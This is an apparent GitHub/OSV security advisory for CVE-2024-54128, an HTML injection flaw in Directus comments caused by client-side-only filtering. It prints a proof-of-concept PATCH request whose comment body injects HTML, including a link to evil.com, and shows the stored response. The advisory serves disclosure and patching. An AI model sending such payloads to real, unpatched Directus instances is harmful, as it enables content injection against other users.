Vulnerabilities in pkg:npm/@directus/app

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r6wx-627v-gh2f",
  "modified" : "2025-11-19T17:50:43Z",
  "published" : "2024-12-05T22:37:32Z",
  "aliases" : [ "CVE-2024-54128" ],
  "summary" : "Directus has an HTML Injection in Comment",
  "details" : "### Summary\nThe Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection.\n\n### Details\nThe Comment feature implements a character filter on the client-side, this can be bypassed by directly sending a request to the endpoint.\n\nExample Request:\n\n```\nPATCH /activity/comment/3 HTTP/2\nHost: directus.local\n\n{\n  \"comment\": \"<h1>TEST <p style=\\\"color:red\\\">HTML INJECTION</p> <a href=\\\"//evil.com\\\">Test Link</a></h1>\"\n}\n```\n\nExample Response:\n\n```json\n{\n  \"data\": {\n    \"id\": 3,\n    \"action\": \"comment\",\n    \"user\": \"288fdccc-399a-40a1-ac63-811bf62e6a18\",\n    \"timestamp\": \"2023-09-06T02:23:40.740Z\",\n    \"ip\": \"10.42.0.1\",\n    \"user_agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\n    \"collection\": \"directus_files\",\n    \"item\": \"7247dda1-c386-4e7a-8121-7e9c1a42c15a\",\n    \"comment\": \"<h1>TEST <p style=\\\"color:red\\\">HTML INJECTION</p> <a href=\\\"//evil.com\\\">Test Link</a></h1>\",\n    \"origin\": \"https://directus.local\",\n    \"revisions\": []\n  }\n}\n```\n\nExample Result:\n\n![Screenshot 2023-09-06 094536](https://user-images.githubusercontent.com/61263002/265876100-12e068fe-3d53-41b4-bfcb-458c2bc2a638.png)\n\n## Impact\n\nWith the introduction of session cookies this issue has become exploitable as a malicious script is now able to do authenticated actions on the current users behalf.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@directus/app"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "11.0.0"
      }, {
        "fixed" : "13.3.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "directus"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "10.10.0"
      }, {
        "fixed" : "10.13.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "directus"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "11.0.0-rc.1"
      }, {
        "fixed" : "11.2.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/directus/directus/security/advisories/GHSA-r6wx-627v-gh2f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-54128"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/directus/directus/commit/4487fb18d5cb09e071b111d2dc0c9d6bcb437633"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/directus/directus/commit/c89dbb233fbad2fd0cf41eb99d50c6de4e84195d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/directus/directus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-80" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-12-05T22:37:32Z",
    "nvd_published_at" : "2024-12-05T17:15:15Z"
  }
}